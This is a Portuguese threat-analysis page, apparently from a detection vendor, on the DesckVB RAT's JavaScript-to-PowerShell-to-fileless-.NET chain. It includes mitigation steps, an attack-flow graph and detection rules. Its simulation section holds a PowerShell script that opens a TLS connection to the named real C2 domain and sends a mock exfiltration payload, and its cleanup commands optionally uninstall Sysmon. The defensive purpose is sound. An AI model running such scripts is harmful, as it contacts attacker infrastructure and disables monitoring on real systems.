Análise do DesckVB RAT: Do Carregador JavaScript ao RAT Fileless .NET
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O DesckVB RAT é um trojan acionado por JavaScript que se encadeia em um carregador PowerShell para buscar e executar um DLL .NET sem arquivo diretamente na memória. Para ocultar a execução, o carregador utiliza codificação Base64 e ofuscação de strings reversas, abusa do InstallUtil.exe como um LOLBin e inicia um novo processo usando CreateProcessA. Uma vez ativo, o RAT estabelece comunicações C2 HTTPS criptografadas e suporta módulos para keylogging, acesso à webcam e descoberta anti-AV.
Investigação
A análise indica que o estágio inicial do JavaScript escreve um script PowerShell em C:UsersPublic, depois contata um domínio ofuscado para baixar um assembly .NET (por exemplo, ClassLibrary3.dll). O assembly carrega DLLs de suporte, cria um processo suspenso e injeta código de payload enquanto reporta detalhes de configuração, como um domínio e porta maliciosos secundários. A telemetria de rede confirma comunicações criptografadas por TLS do host infectado para a infraestrutura C2 do atacante.
Mitigação
Bloqueie a execução de scripts PowerShell não confiáveis ou não assinados e restrinja o uso do InstallUtil.exe para fluxos de trabalho não administrativos ou inesperados. Aplique controles de saída rigorosos, incluindo inspeção HTTPS onde possível e filtragem de reputação de domínio para infraestrutura maliciosa identificada. Nos endpoints, detecte o uso do CreateProcessA com flags de processo suspenso e alerte para padrões de carregamento de assembly .NET na memória consistentes com injeção sem arquivos.
Resposta
Se forem detectados indicadores, isole o endpoint, interrompa a cadeia de processos maliciosos e capture dumps de memória para análise dos assemblies na memória e regiões injetadas. Remova os artefatos PowerShell descartados de C:UsersPublic e elimine quaisquer DLLs relacionadas ou resíduos de carregadores. Redefina credenciais impactadas, gire segredos expostos e revise logs de firewall/proxy para conexões de saída com os domínios e portas listados.
"graph TB %% Class definitions classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef malware fill:#ccffcc classDef file fill:#dddddd %% Nodes loader_js["<b>Tool</b> – <b>Name</b>: Loader JavaScript Ofuscado<br/><b>Technique</b>: T1027.006 HTML Smuggling<br/><b>Technique</b>: T1027.008 Payloads Despojados<br/><b>Description</b>: Usa Base64 e strings invertidas para ocultar comandos"] class loader_js tool powershell_script["<b>Tool</b> – <b>Name</b>: Script PowerShell lkpzw_01.ps1<br/><b>Technique</b>: T1059.001 PowerShell<br/><b>Description</b>: Executa com política de execução ignorada"] class powershell_script tool dotnet_assembly["<b>File</b>: Assembly .NET Malicioso"] class dotnet_assembly file installutil_execution["<b>Tool</b> – <b>Name</b>: InstallUtil.exe<br/><b>Technique</b>: T1218.004 Execução de Proxy de Binário de Sistema<br/><b>Description</b>: Executa DLL .NET via binário de sistema confiável"] class installutil_execution tool dotnet_reflection["<b>Malware</b> – <b>Name</b>: ClassLibrary3.dll<br/><b>Technique</b>: T1620 Carregamento de Código Reflexivo<br/><b>Description</b>: Carrega assembly diretamente na memória usando reflexão"] class dotnet_reflection malware process_hollow["<b>Action</b> – <b>Technique</b>: T1055.012 Process Hollowing<br/><b>Description</b>: Cria um processo suspenso e injeta código malicioso"] class process_hollow action thread_hijack["<b>Action</b> – <b>Technique</b>: T1055.003 Hijacking de Execução de Thread<br/><b>Description</b>: Sequestra a execução da thread dentro do processo alvo"] class thread_hijack action dll_hijack["<b>Action</b> – <b>Technique</b>: T1574.001 Fluxo de Execução Hijack de DLL<br/><b>Description</b>: Carrega DLLs adicionais na memória para estender a funcionalidade"] class dll_hijack action keylogger_module["<b>Malware</b> – <b>Name</b>: Microsoft.exe<br/><b>Technique</b>: T1056.001 Keylogging<br/><b>Description</b>: Deixa keylogger e outros módulos"] class keylogger_module malware c2_https["<b>Action</b> – <b>Technique</b>: T1071.001 Protocolos Web<br/><b>Description</b>: Comunica via HTTPS se misturando com tráfego legítimo"] class c2_https action %% Connections loader_js –>|escreve e executa| powershell_script powershell_script –>|baixa assembly| dotnet_assembly dotnet_assembly –>|executado via| installutil_execution installutil_execution –>|carrega com reflexão| dotnet_reflection dotnet_reflection –>|cria processo suspenso| process_hollow process_hollow –>|usando hijacking de thread| thread_hijack thread_hijack –>|carrega DLLs adicionais| dll_hijack dll_hijack –>|habilita| keylogger_module keylogger_module –>|se comunica com C2| c2_https "
Fluxo de Ataque
Detecções
Execução de Arquivo PowerShell em Diretório Suspeito Usando Política de Execução de Ignorar (via linha de comando)
Visualizar
LOLBAS WScript / CScript (via criação de processo)
Visualizar
Strings Suspeitas de PowerShell (via powershell)
Visualizar
Chamar Classes/Métodos .NET Suspeitos a partir da Linha de Comando PowerShell (via criação de processo)
Visualizar
Arquivos Suspeitos no Perfil de Usuário Público (via evento de arquivo)
Visualizar
Execução Suspeita do Perfil de Usuário Público (via criação de processo)
Visualizar
IOC (SourceIP) para detectar: Análise do DesckVB RAT: De Loader JavaScript a RAT .NET Sem Arquivo
Visualizar
IOC (HashMd5) para detectar: Análise do DesckVB RAT: De Loader JavaScript a RAT .NET Sem Arquivo
Visualizar
IOC (HashSha256) para detectar: Análise do DesckVB RAT: De Loader JavaScript a RAT .NET Sem Arquivo
Visualizar
IOC (DestinationIP) para detectar: Análise do DesckVB RAT: De Loader JavaScript a RAT .NET Sem Arquivo
Visualizar
Detecção de Comunicação C2 do DesckVB RAT [Conexão de Rede do Windows]
Visualizar
Detecção de Execução do DesckVB RAT PowerShell e InstallUtil [PowerShell do Windows]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria e Linha de Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a erros de diagnóstico.
-
Narrativa de Ataque & Comandos:
O invasor, tendo obtido acesso inicial, lança um payload “living-off-the-land” baseado em PowerShell que abre uma conexão TCP encapsulada em TLS para o domínio C2 codificadomanikandan83.mysynology.netna porta 7535. O payload codifica um bloco de dados fictício com Base64 (ilustrando T1132.002) e transmite pelo canal TLS. Como as classes .NET do PowerShell são usadas, nenhum binário externo é gravado em disco, refletindo a natureza sem arquivos do DesckVB RAT. A conexão é estabelecida por um processo filho (powershell.exe) que será capturado pelo Sysmon como um evento de conexão de rede com o domínio, porta e sinalizador de handshake TLS exatos que a regra monitora. -
Script de Teste de Regressão:
# -------------------------------------------------------------- # Simulação de Comunicação C2 do DesckVB RAT (PowerShell) # -------------------------------------------------------------- # Parâmetros $c2Domain = "manikandan83.mysynology.net" $c2Port = 7535 # Payload fictício (codificado em Base64) – representa dados exfiltrados $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42")) try { # Estabelecer a conexão TCP $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port) $netStream = $tcpClient.GetStream() # Encapsular com TLS (SslStream) $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true})) $sslStream.AuthenticateAsClient($c2Domain) Write-Host "[+] Handshake TLS concluído com $c2Domain:$c2Port" # Enviar prefixo de comprimento do payload (4 bytes em big-endian) e depois os dados $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $len = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length)) $sslStream.Write($len,0,$len.Length) $sslStream.Write($bytes,0,$bytes.Length) $sslStream.Flush() Write-Host "[+] Payload enviado (comprimento Base64 $($bytes.Length))" } catch { Write-Error "[-] Conexão falhou: $_" } finally { # Encerramento limpo if ($sslStream) { $sslStream.Close() } if ($netStream) { $netStream.Close() } if ($tcpClient) { $tcpClient.Close() } Write-Host "[*] Conexão terminada." } -
Comandos de Limpeza:
# Assegure-se de que quaisquer conexões PowerShell NetTCP remanescentes estejam fechadas Get-Process -Name powershell | Where-Object { $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient' } | Stop-Process -Force # Opcional: Remover Sysmon (se este for um ambiente de teste único) # & "$env:ProgramFilesSysmonSysmon.exe" -u